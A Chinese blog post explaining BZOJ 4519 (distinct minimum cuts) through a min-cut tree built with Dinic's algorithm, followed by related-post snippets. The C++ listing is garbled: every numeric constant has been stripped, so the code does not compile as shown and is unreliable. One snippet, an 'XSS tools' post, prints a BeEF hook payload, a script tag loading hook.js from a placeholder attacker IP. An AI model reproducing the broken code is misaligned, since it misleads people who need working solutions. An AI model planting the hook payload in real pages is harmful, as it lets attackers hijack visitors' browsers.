怎么求一张无向图中任意两点之间的最小割?

http://fanhq666.blog.163.com/blog/static/8194342620113495335724/

一张无向图不同的最小割最多有n-1个。

所以可以用这些最小割建出一棵最小割树。

 #include<iostream>
#include<cstring>
#include<cstdio>
#include<algorithm>
#include<queue>
#define inf 0x3f3f3f3f
#define N 855
#define M 400005
using namespace std;
int read()
{
int p=;char c=getchar();
while(c<''||c>'')c=getchar();
while(c>=''&&c<='')p=p*+c-'',c=getchar();
return p;
}
int head[N],ver[M],nxt[M],f[M],tot,ch[N];
void add(int a,int b,int c)
{
tot++;nxt[tot]=head[a];head[a]=tot;ver[tot]=b;f[tot]=c;return ;
}
queue<int>q;int S,T;
bool tell()
{
memset(ch,-,sizeof(ch));
q.push(S);ch[S]=;
while(!q.empty())
{
int tmp=q.front();q.pop();
for(int i=head[tmp];i;i=nxt[i])
{
if(f[i]&&ch[ver[i]]==-)
{
ch[ver[i]]=ch[tmp]+;
q.push(ver[i]);
}
}
}
return ch[T]!=-;
}
int zeng(int a,int b)
{
if(a==T)return b;
int r=;
for(int i=head[a];i&&b>r;i=nxt[i])
{
if(f[i]&&ch[ver[i]]==ch[a]+)
{
int t=zeng(ver[i],min(f[i],b-r));
f[i]-=t;f[i^]+=t;r+=t;
}
}
if(!r)ch[a]=-;
return r;
}
int dinic()
{
int r=,t;
while(tell())while(t=zeng(S,inf))r+=t;
return r;
}
void hui()
{
for(int i=;i<=tot;i+=)
{
f[i]=f[i^]=(f[i]+f[i^])>>;
}return ;
}
int tim;
int c[N];
void dfs(int x)
{
c[x]=tim;
for(int i=head[x];i;i=nxt[i])
{
if(f[i]&&c[ver[i]]!=tim)dfs(ver[i]);
}
return ;
}
int p[N];
int ans[N],cnt;
int n,m;
int st[N],st2[N];
void solve(int l,int r)
{
if(l==r)return ;
hui();
S=p[l];T=p[r];
int tmp=dinic();
tim++;dfs(S);
ans[++cnt]=tmp;
int top1=,top2=;
for(int i=l;i<=r;i++)
{
if(c[p[i]]==tim)st[++top1]=p[i];
else st2[++top2]=p[i];
}
for(int i=l;i<=l+top1-;i++)p[i]=st[i-l+];
for(int i=l+top1;i<=r;i++)p[i]=st2[i-l-top1+];
solve(l,l+top1-);solve(l+top1,r);
}
int main()
{
scanf("%d%d",&n,&m);
int t1,t2,t3;tot=;
for(int i=;i<=m;i++)
{
t1=read();t2=read();t3=read();
add(t1,t2,t3);add(t2,t1,t3);
}
for(int i=;i<=n;i++)p[i]=i;
solve(,n);
sort(ans+,ans+cnt+);
int as=;
for(int i=;i<=cnt;i++)
{
if(i==||ans[i]!=ans[i-])
{
as++;
}
}
printf("%d\n",as);
}

bzoj 4519: [Cqoi2016]不同的最小割 最小割树的更多相关文章

  1. BZOJ 4519 [CQOI2016]不同的最小割

    这道题目很奇怪. 为什么奇怪?因为这道题用了一种叫分治最小割/最小割树的玩意. 以前从来没有见过这东西. 推荐一个讲这玩意的博客 写起来还是很顺手的. #include<iostream> ...

  2. bzoj 4519: [Cqoi2016]不同的最小割【最小割树Gomory–Hu tree】

    算法详见:http://www.cnblogs.com/lokiii/p/8191573.html 求出点两两之间的最小割之后,把他们扔到map/set里跑即可 可怕的是map和set跑的时间竟然完全 ...

  3. BZOJ 4520 [Cqoi2016]K远点对(KD树)

    [题目链接] http://www.lydsy.com/JudgeOnline/problem.php?id=4520 [题目大意] 求K远点对距离 [题解] 修改估价函数为欧式上界估价,对每个点进行 ...

  4. 4519: [Cqoi2016]不同的最小割

    4519: [Cqoi2016]不同的最小割 Time Limit: 20 Sec Memory Limit: 512 MB Submit: 489 Solved: 301 [Submit][Stat ...

  5. 【BZOJ-4519】不同的最小割 最小割树(分治+最小割)

    4519: [Cqoi2016]不同的最小割 Time Limit: 20 Sec  Memory Limit: 512 MBSubmit: 393  Solved: 239[Submit][Stat ...

  6. scu - 3254 - Rain and Fgj(最小点权割)

    题意:N个点.M条边(2 <= N <= 1000 , 0 <= M <= 10^5),每一个点有个权值W(0 <= W <= 10^5),现要去除一些点(不能去掉 ...

  7. 算法笔记--最大流和最小割 && 最小费用最大流 && 上下界网络流

    最大流: 给定指定的一个有向图,其中有两个特殊的点源S(Sources)和汇T(Sinks),每条边有指定的容量(Capacity),求满足条件的从S到T的最大流(MaxFlow). 最小割: 割是网 ...

  8. 3532: [Sdoi2014]Lis 最小字典序最小割

    3532: [Sdoi2014]Lis Time Limit: 10 Sec  Memory Limit: 512 MBSubmit: 865  Solved: 311[Submit][Status] ...

  9. bzoj2229: [Zjoi2011]最小割(分治最小割+最小割树思想)

    2229: [Zjoi2011]最小割 题目:传送门 题解: 一道非常好的题目啊!!! 蒟蒻的想法:暴力枚举点对跑最小割记录...绝对爆炸啊.... 开始怀疑是不是题目骗人...难道根本不用网络流?? ...

随机推荐

  1. Ansible 连接主机显示报错的处理方案

    一.在ansible安装完毕后一般需要以SSH的方式连接到需要进行管理的目标主机,一开始遇到了如下问题: 192.168.15.4 | UNREACHABLE! => {    "ch ...

  2. XSS工具

    1.BEEF KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入 ...

  3. dobule运算

    DecimalFormat df = new DecimalFormat("0.00"); double rate = (warnMonNum/totalCustCount)*10 ...

  4. Currency Exchange 货币兑换 Bellman-Ford SPFA 判正权回路

    Description Several currency exchange points are working in our city. Let us suppose that each point ...

  5. Notes of Daily Scrum Meeting(11.6 and 11.7)

    Notes of Daily Scrum Meeting(11.6 and 11.7) 因为七号星期五是放假的第一天,好几名队员要么是出去玩,要么是回家了,所以我们讨论之后在七号没有开始代码的编写, ...

  6. TeamWork#3,Week5,Scrum Meeting 11.4

    今天我们进行了第一次Scrum Meeting,总结了最近一段时间的工作成果和经验教训,并分配了每个成员下一步的工作.网络爬虫对我们来说是一个难点,因为之前接触比较少,所以需要从头学起.我们参考了大量 ...

  7. 学习总结:jQuery插件开发模式和结构

    学习博客链接: ①https://www.cnblogs.com/cyStyle/ ② https://www.cnblogs.com/chengyunshen/p/7277305.html ③ ht ...

  8. 福大软工 · 第七次作业 - 需求分析报告(404 Note Found队)

    目录 组队后的团队项目的整体计划安排 项目logo及思维导图 项目logo 思维导图 产品思维导图 产品思维导图-引导 产品思维导图-后端数据处理.存储 产品思维导图-短信识别 产品思维导图-智能分析 ...

  9. 1105 C程序的推导过程

  10. cxDBTreelist一些使用方法

    一.导出EXCEL   TXT   HTML: uses cxTLExportLink; cxExportTLToEXCEL(dm.SaveDialog.FileName,cxDBTreeList1, ...